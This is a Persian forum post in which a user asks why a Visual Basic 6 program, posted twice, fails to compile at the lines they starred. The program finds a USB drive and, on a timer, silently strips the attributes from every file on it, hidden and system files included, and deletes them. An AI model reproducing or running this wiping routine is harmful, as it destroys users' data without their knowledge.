01-08-2012، 02:24 PM
این برنامه شما را وقتی من می خوام اجرا کنم یا تبدیل به exe کنم ارور می گیره !
'CODER : Www.ParsiCoders.com By Amin Mansouri
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
Const DRIVE_CDROM = 5
Const DRIVE_FIXED = 3
Const DRIVE_RAMDISK = 6
Const DRIVE_REMOTE = 4
Const DRIVE_REMOVABLE = 2
Dim NameDrive As String
Public Function GetUsb() As String
Dim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIService
Set USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drives
For Each USBFound In USBDrives 'Look for all our drives
If USBFound.drivetype = 2 Then 'If drivetype is USB
USB = USBFound.Name 'Set USB as New USB-name
USBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-count
End If
If USB = "" Then GoTo volgende 'If its not an USB-Drive then goto Next
volgende: 'Next
Next 'Search for more USB drives
GetUsb = USB
End Function
Public Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Public Function DeleteFile() As String
On Error Resume Next
File1.Path = GetUsb
File1.Refresh
For i = 0 To File1.ListCount - 1
Path = StripNulls(GetUsb + File1.List(i))
SetAttr Path, vbNormal
Kill Path
Next
End Function
*******Private Sub Drive1_Change()
**********File1.Path = Drive1.Drive
End Sub
********Private Sub Form_Load()
***********File1.System = True
File1.Hidden = True
End Sub
Private Sub Timer1_Timer()
DeleteFile
End Sub
توی دستور برنامه شما اون قسمتهایی که ستاره زدم(*********) ارور می گیره و کامپایل نمی شده نه موقعی که می خوام فرم اجرا بشه و نه زمانی که می خوام تبدیل به exe کنم .
'CODER : Www.ParsiCoders.com By Amin Mansouri
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
Const DRIVE_CDROM = 5
Const DRIVE_FIXED = 3
Const DRIVE_RAMDISK = 6
Const DRIVE_REMOTE = 4
Const DRIVE_REMOVABLE = 2
Dim NameDrive As String
Public Function GetUsb() As String
Dim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIService
Set USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drives
For Each USBFound In USBDrives 'Look for all our drives
If USBFound.drivetype = 2 Then 'If drivetype is USB
USB = USBFound.Name 'Set USB as New USB-name
USBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-count
End If
If USB = "" Then GoTo volgende 'If its not an USB-Drive then goto Next
volgende: 'Next
Next 'Search for more USB drives
GetUsb = USB
End Function
Public Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Public Function DeleteFile() As String
On Error Resume Next
File1.Path = GetUsb
File1.Refresh
For i = 0 To File1.ListCount - 1
Path = StripNulls(GetUsb + File1.List(i))
SetAttr Path, vbNormal
Kill Path
Next
End Function
*******Private Sub Drive1_Change()
**********File1.Path = Drive1.Drive
End Sub
********Private Sub Form_Load()
***********File1.System = True
File1.Hidden = True
End Sub
Private Sub Timer1_Timer()
DeleteFile
End Sub
توی دستور برنامه شما اون قسمتهایی که ستاره زدم(*********) ارور می گیره و کامپایل نمی شده نه موقعی که می خوام فرم اجرا بشه و نه زمانی که می خوام تبدیل به exe کنم .